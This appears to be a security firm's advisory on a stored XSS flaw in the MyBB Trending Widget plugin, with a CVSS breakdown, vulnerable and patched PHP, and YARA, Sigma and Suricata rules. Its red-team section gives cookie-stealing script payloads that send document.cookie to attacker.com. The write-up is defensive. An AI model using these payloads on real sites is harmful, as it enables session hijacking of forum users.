CVE-2018-25132

Executive Summary

CVE-2018-25132 is a stored cross-site scripting (XSS) vulnerability in the MyBB Trending Widget Plugin version 1.2. The flaw allows an attacker to inject arbitrary JavaScript into thread titles. When the trending widget renders these titles, the payload executes in the context of any user viewing the widget. This can lead to session hijacking, credential theft, or defacement. The vulnerability has a CVSS score of 0.0 in the NVD due to incomplete data, but based on the description and CWE-79 classification, a realistic vector is provided above. No official patch exists, and the plugin appears abandoned.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The attack is launched remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – Any unauthenticated user can post a thread with a malicious title.
• User Interaction (UI): Required (R) – The victim must view the trending widget.
• Scope (S): Changed (C) – The widget executes in the context of the MyBB application, but the impact can extend to the user's browser session.
• Confidentiality (C): Low (L) – Limited data exposure (e.g., session tokens).
• Integrity (I): Low (L) – Possible content manipulation.
• Availability (A): None (N) – No direct denial of service.

Threat Level: Medium. The attack requires user interaction but is trivial to execute and has no authentication barrier.

Deep Dive & Mechanics

The MyBB Trending Widget Plugin 1.2 fetches recent thread titles and displays them in a sidebar or widget area. The plugin does not sanitize or escape thread titles before rendering them in the HTML. An attacker can create a new thread with a title containing a JavaScript payload, such as:

<script>alert('XSS')</script>

When the trending widget loads, it retrieves the thread title from the database and inserts it directly into the DOM without proper encoding. The browser then executes the injected script. This is a classic stored XSS vulnerability.

The vulnerable code likely resides in the widget's template or PHP file where thread titles are echoed without using htmlspecialchars() or similar escaping functions.

Vulnerable vs. Patched Code

Vulnerable Code (PHP):

// In trending_widget.php or similar
$thread_title = $thread['title'];
echo "<li>$thread_title</li>";

Patched Code (PHP):

// Properly escape output
$thread_title = htmlspecialchars($thread['title'], ENT_QUOTES, 'UTF-8');
echo "<li>$thread_title</li>";

The patched version uses htmlspecialchars() to convert special characters to HTML entities, preventing script execution.

Exploitation & Lab Setup

Red Team

1. Setup: Install MyBB with the Trending Widget Plugin 1.2 on a local server (e.g., XAMPP).
2. Craft Payload: Create a new thread with a title containing a JavaScript payload:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

3. Trigger: Ensure the thread is visible in the trending widget (e.g., by having recent activity).
4. Exploit: When an admin or user views the trending widget, the script executes and exfiltrates cookies.

Example Payload:

<script>new Image().src='https://attacker.com/log?c='+document.cookie</script>

Blue Team

1. Detection: Monitor for unusual thread titles containing <script>, onerror, onload, or other event handlers.
2. Prevention: Apply input validation and output encoding. Use a Web Application Firewall (WAF) to block XSS patterns.
3. Response: If exploited, revoke all session tokens, audit thread titles, and remove malicious threads.

Indicators of Compromise (IOCs)

• Network: Outbound HTTP requests to unknown domains from the MyBB server.
• Logs: Thread titles containing <script>, javascript:, or base64-encoded payloads.
• File: Modified trending_widget.php or template files with missing escaping.
• Behavior: Unexpected pop-ups or redirects when viewing the trending widget.

Detection Engineering

YARA Rule

rule MyBB_Trending_Widget_XSS {
    meta:
        description = "Detects malicious thread titles in MyBB Trending Widget"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2018-25132"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /on\w+\s*=\s*['\"].*?['\"]/is
        $xss3 = /javascript\s*:/is
    condition:
        any of them
}

Sigma Rule

title: MyBB Trending Widget XSS Detection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential XSS in MyBB thread titles
author: Valters IT
logsource:
    category: application
    product: mybb
detection:
    selection:
        thread_title|contains:
            - '<script'
            - 'onerror'
            - 'onload'
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of HTML in titles (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"MyBB Trending Widget XSS Attempt"; flow:to_server; content:"POST"; http_method; content:"thread_title"; http_client_body; pcre:"/<script[^>]*>.*?<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Disable or uninstall the Trending Widget Plugin 1.2.
2. Short-term: Manually patch the plugin by adding htmlspecialchars() to all thread title outputs.
3. Long-term: Migrate to a supported MyBB version and use only actively maintained plugins.
4. Compensating Controls: Implement a WAF with XSS rules, enforce Content Security Policy (CSP), and use HTTP-only cookies.

Valters IT
Securing Digital Frontiers